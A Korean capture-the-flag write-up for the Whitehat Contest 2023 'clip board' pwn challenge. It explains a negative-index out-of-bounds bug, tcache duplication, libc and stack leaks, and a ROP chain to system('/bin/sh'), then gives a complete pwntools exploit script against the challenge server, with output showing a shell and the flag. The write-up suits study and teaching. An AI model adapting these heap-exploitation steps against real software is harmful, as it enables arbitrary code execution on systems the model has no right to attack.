Release: https://github.com/h0meb0dy/CTF/blob/main/Whitehat%20Contest%202023/clip%20board/for_user.zip
If you have something to save, save it.
nc 43.201.64.101 8888
Mitigation
Analysis
Out of bound
세 가지 메뉴에 공통된 OOB 취약점이 존재합니다.
Index를 입력받고 최댓값인 9보다 크지 않은지 검사하는데, 음수인지 검사하는 과정이 없습니다.
메모리 구조를 보면 chunk_list
, check_chunk_list
, chunk_size_list
가 모두 인접해 있어서, OOB를 이용하여 값들을 조작할 수 있습니다.
Exploit
Tcache dup
Index -8과 9에 차례로 chunk를 할당한 상태입니다. 빨간 박스 부분이 check_chunk_list[-8]
에 해당하기 때문에, index -8의 chunk를 free하면 빨간 박스 부분이 0x00
으로 덮어씌워집니다. 즉, index 9의 chunk의 주소가 0x10
만큼 작은 값으로 조작됩니다.
앞쪽 청크에 미리 fake size를 넣어 두면, 이 chunk를 free했을 때 fake size에 해당하는 tcache로 들어갑니다.
이 chunk를 다시 할당받으면 뒤쪽에 있는 chunk와 메모리를 공유하게 됩니다.
Leak libc
Unsortbin에 처음으로 들어간 chunk의 fd에 main_arena
의 주소가 들어가는 것을 이용하여 libc 주소를 leak할 수 있습니다.
Leak stack
Tcache에 들어간 chunk의 fd를 조작하여 environ
에 fake chunk를 할당받고 값을 읽으면 stack의 주소를 leak할 수 있습니다.
Tcache의 fd를 조작할 때 주의할 점이 있는데,
heap base를 12비트 shift right한 값과 실제 fd를 xor연산한 값이 저장됩니다.
ROP
main()
의 return address가 저장된 위치에 fake chunk를 할당받아서 ROP chain을 구성할 수 있습니다.
Full exploit
from pwn import process, remote, p64, u64, log
REMOTE = True
HOST = '43.201.64.101'
PORT = 8888
if not REMOTE:
r = process('./clip_board')
else:
r = remote(HOST, PORT)
sla = r.sendlineafter
sa = r.sendafter
def add_clipboard(idx, size, contents):
sla(b'> ', b'1')
sla(b'index > ', str(idx).encode())
sla(b'size > ', str(size).encode())
sa(b'contents > ', contents)
def del_clipboard(idx):
sla(b'> ', b'2')
sla(b'index > ', str(idx).encode())
def view_clipboard(idx):
sla(b'> ', b'3')
sla(b'index > ', str(idx).encode())
main_arena_offset = 0x219c80 # offset of main_arena from libc base
environ_offset = 0x221200 # offset of environ from libc base
poprdi_offset = 0x2a3e5 # offset of 'pop rdi; ret' from libc base
system_offset = 0x50d60 # offset of system() from libc base
binsh_offset = 0x1d8698 # offset of "/bin/sh" from libc base
# leak heap
r.recvuntil(b'heap leak: 0x')
heapbase = int(r.recvline()[:-1], 16) - 0x2a0 # heap base
log.info(f'heap base: {hex(heapbase)}')
tcache_xor = heapbase >> 12
# leak libc
add_clipboard(-8, 0xf8, b'a')
for i in range(7):
add_clipboard(i, 0xb8, b'a' * 0xa8 + p64(0x41))
add_clipboard(9, 0x18, b'a')
del_clipboard(-8)
del_clipboard(9)
add_clipboard(8, 0xb8, b'a')
add_clipboard(7, 0x18, b'a') # prevent consolidation
for i in range(7):
del_clipboard(i) # disable tcache
del_clipboard(8)
del_clipboard(-8)
del_clipboard(9)
add_clipboard(0, 0x38, b'a' * 0x28 + p64(0xc1))
view_clipboard(0)
r.recvn(0x30)
main_arena = u64(r.recvn(8)) - 96 # main_arena
libc = main_arena - main_arena_offset # libc base
log.info(f'libc base: {hex(libc)}')
environ = libc + environ_offset # environ
poprdi = libc + poprdi_offset # pop rdi; ret
ret = poprdi + 1 # ret
system = libc + system_offset # system()
binsh = libc + binsh_offset # "/bin/sh"
del_clipboard(0)
del_clipboard(7)
add_clipboard(0, 0xa8, b'a') # empty unsortbin
# stack leak
add_clipboard(1, 0xc8, b'a')
add_clipboard(-8, 0x28, b'a' * 0x18 + p64(0x51))
add_clipboard(9, 0x28, b'a')
add_clipboard(7, 0x28, b'a')
del_clipboard(-8)
del_clipboard(7)
del_clipboard(9)
add_clipboard(2, 0x48, b'a' * 0x38 + p64(0x31) + p64((environ - 0x10) ^ tcache_xor))
add_clipboard(3, 0x28, b'a')
add_clipboard(4, 0x28, b'a') # fake chunk at environ
view_clipboard(4)
r.recvn(0x10)
rsp = u64(r.recvn(8)) - 0x138 # rsp of main()
log.info(f'rsp of main(): {hex(rsp)}')
del_clipboard(2)
# call system("/bin/sh")
payload = b'a' * 8
payload += p64(ret) # alignment for xmm
payload += p64(poprdi)
payload += p64(binsh)
payload += p64(system)
add_clipboard(5, 0x28, b'a')
del_clipboard(5)
del_clipboard(3)
add_clipboard(2, 0x48, b'a' * 0x38 + p64(0x31) + p64((rsp + 0x10) ^ tcache_xor))
add_clipboard(3, 0x28, b'a')
add_clipboard(5, 0x28, payload) # fake chunk at return address of main()
sla(b'> ', b'4') # return main() => system("/bin/sh")
r.interactive()
$ python3 ex.py
[+] Opening connection to 43.201.64.101 on port 8888: Done
[*] heap base: 0x559501eb4000
[*] libc base: 0x7fc881a7f000
[*] rsp of main(): 0x7fff6aa1dd10
[*] Switching to interactive mode
$ cat /home/ctf/flag
whitehat2023{e46f634307f6eeaf70cf5a4fd75a47634d39923485fff35ed5150d1578501aec296e3e8fac00534a22a4c669416323a1a4c47a}